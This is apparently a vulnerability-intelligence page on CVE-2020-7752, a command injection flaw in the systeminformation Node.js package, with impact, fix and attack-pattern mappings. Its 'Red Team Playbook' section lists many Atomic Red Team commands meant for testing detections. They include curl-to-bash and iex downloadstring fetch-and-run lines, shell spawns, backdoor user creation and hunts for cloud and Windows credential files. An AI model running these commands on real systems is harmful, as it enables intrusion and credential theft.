CVE-2020-7752
Overview
The vulnerability is a command injection flaw in the systeminformation Node.js package prior to version 4.27.11. It arises from insufficient sanitization of user-controlled input passed to curl parameters within the internet.js module, allowing concatenation of malicious commands. This flaw affects the component responsible for network information gathering, specifically the code invoking curl to fetch or manipulate JavaScript files.
Vulnerability Description
This affects the package systeminformation before 4.27.11. This package is vulnerable to Command Injection. The attacker can concatenate curl's parameters to overwrite Javascript files and then execute any OS commands.
Impact
An attacker with limited privileges can exploit this vulnerability to execute arbitrary OS commands remotely by injecting malicious parameters into the curl command. This requires network access and some level of privilege (PR:L) but no user interaction (UI:N). Successful exploitation can lead to full system compromise, including data manipulation and service disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates high confidentiality, integrity, and availability impact with partial privileges required.
Solution
Upgrade the systeminformation Node.js package to version 4.27.11 or later, as this version includes the patch that properly sanitizes curl parameters to prevent command injection. Refer to the vendor's GitHub repository commit 931fecaec2c1a7dcc10457bb8cd552d08089da61 and the Snyk advisory (https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1021909) for detailed patch information and verification steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the package systeminformation prior to version 4.27.11 is characterized by a command injection flaw that allows an attacker to manipulate input parameters in a way that can lead to the execution of arbitrary operating system commands. This occurs due to improper handling of user-supplied data, specifically when concatenating parameters for the curl command. Attackers can exploit this weakness by crafting malicious input that not only overwrites JavaScript files but also executes commands on the host system. The underlying issue stems from a lack of sufficient input validation and sanitization, which is crucial in preventing unauthorized command execution.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage a web application that utilizes the affected package to send crafted requests containing malicious parameters. For instance, if a web service accepts user input to fetch system information and directly passes this input to a curl command without proper validation, an attacker could inject additional commands. This could lead to the execution of harmful scripts or the modification of critical files on the server. Furthermore, the ease of crafting such payloads makes this vulnerability particularly dangerous, as it requires minimal technical skill to exploit.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on the affected package for system monitoring or management. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even complete system compromise. The business risks associated with such an incident include financial loss, reputational damage, and potential legal ramifications if customer data is exposed. Additionally, the high CVSS score of 8.8 indicates that this vulnerability poses a serious threat, making it imperative for organizations to take immediate action to protect their systems.
To detect the presence of this vulnerability, organizations should implement robust security monitoring practices, including regular vulnerability scanning and code reviews for applications that utilize the affected package. Automated tools can help identify instances of the vulnerable version in use, while manual code audits can uncover improper input handling practices. Additionally, monitoring logs for unusual activity or command execution attempts can provide early warning signs of exploitation attempts.
Mitigation strategies should focus on upgrading the affected package to a version that addresses the command injection flaw. Organizations should also implement input validation and sanitization measures to ensure that user-supplied data cannot be manipulated to execute unauthorized commands. Employing security best practices, such as the principle of least privilege and regular patch management, can further reduce the risk of exploitation. By taking these proactive steps, organizations can safeguard their systems against this and similar vulnerabilities, ultimately enhancing their overall security posture.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-7752, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or proof-of-concept codes have surfaced, the rising EPSS score—now approaching the 0.92nd percentile—indicates heightened attacker interest or improved feasibility of leveraging this command injection vulnerability. This shift signals an elevated risk environment for organizations still operating vulnerable versions of the systeminformation package, as the probability of opportunistic or targeted attacks exploiting this flaw has increased. While the absence of fresh exploit details tempers immediate alarm, defenders should recognize that the upward trend in predictive scoring underscores the need for vigilance in monitoring and threat detection efforts related to this vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Systeminformation | Systeminformation | All |
cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-7752 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1021909 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/sebhildebrandt/systeminformation/blob/master/lib/internet.js |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/sebhildebrandt/systeminformation/commit/931fecaec2c1a7dcc10457bb8cd552d08089da61 |